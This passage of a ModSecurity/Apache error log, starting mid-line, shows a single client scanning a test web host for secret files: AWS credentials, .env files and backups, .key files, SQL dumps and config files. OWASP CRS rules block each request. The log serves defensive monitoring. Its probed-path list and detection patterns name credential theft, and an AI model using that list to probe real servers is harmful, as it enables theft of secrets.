&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL68wAAAAA&quot;]
[Sun Mar 22 01:06:26.217865 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL68wAAAAA&quot;]
[Sun Mar 22 01:06:26.218003 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.aws/credentials&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL68wAAAAA&quot;]
[Sun Mar 22 01:06:26.240099 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /s3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL69AAAAAA&quot;]
[Sun Mar 22 01:06:26.240310 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL69AAAAAA&quot;]
[Sun Mar 22 01:06:26.240448 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/s3/.env&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL69AAAAAA&quot;]
[Sun Mar 22 01:06:26.533478 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /secret/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7AQAAAAA&quot;]
[Sun Mar 22 01:06:26.533670 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7AQAAAAA&quot;]
[Sun Mar 22 01:06:26.533796 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secret/.env&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7AQAAAAA&quot;]
[Sun Mar 22 01:06:26.577893 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/secret.key&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7AwAAAAA&quot;]
[Sun Mar 22 01:06:26.578279 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/secret.key&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7AwAAAAA&quot;]
[Sun Mar 22 01:06:26.578419 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/secret.key&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7AwAAAAA&quot;]
[Sun Mar 22 01:06:26.667824 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.key&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7BwAAAAA&quot;]
[Sun Mar 22 01:06:26.668217 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7BwAAAAA&quot;]
[Sun Mar 22 01:06:26.668349 2026] [:error] [pid 2857385] [client 185.177.72.38:31348] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sendgrid.key&quot;] [unique_id &quot;ab8ygsIpAvowSesNnWL7BwAAAAA&quot;]
[Sun Mar 22 01:06:26.828740 2026] [authz_core:error] [pid 2857485] [client 185.177.72.38:31362] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Sun Mar 22 01:06:26.873887 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;ab8yglJYD4HbtTsiw8QBjAAAAAI&quot;]
[Sun Mar 22 01:06:26.874084 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;ab8yglJYD4HbtTsiw8QBjAAAAAI&quot;]
[Sun Mar 22 01:06:26.874209 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;ab8yglJYD4HbtTsiw8QBjAAAAAI&quot;]
[Sun Mar 22 01:06:27.326208 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.conf&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBoAAAAAI&quot;]
[Sun Mar 22 01:06:27.326611 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.conf&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBoAAAAAI&quot;]
[Sun Mar 22 01:06:27.326746 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.conf&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBoAAAAAI&quot;]
[Sun Mar 22 01:06:27.348586 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBoQAAAAI&quot;]
[Sun Mar 22 01:06:27.349106 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBoQAAAAI&quot;]
[Sun Mar 22 01:06:27.349284 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site.sql&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBoQAAAAI&quot;]
[Sun Mar 22 01:06:27.393847 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBowAAAAI&quot;]
[Sun Mar 22 01:06:27.394036 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBowAAAAI&quot;]
[Sun Mar 22 01:06:27.394166 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBowAAAAI&quot;]
[Sun Mar 22 01:06:27.416062 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpAAAAAI&quot;]
[Sun Mar 22 01:06:27.416295 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpAAAAAI&quot;]
[Sun Mar 22 01:06:27.416472 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpAAAAAI&quot;]
[Sun Mar 22 01:06:27.416608 2026] [:error] [pid 2857485] [client 185.177.72.38:31362] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env.bak&quot;] [unique_id &quot;ab8yg1JYD4HbtTsiw8QBpAAAAAI&quot;]
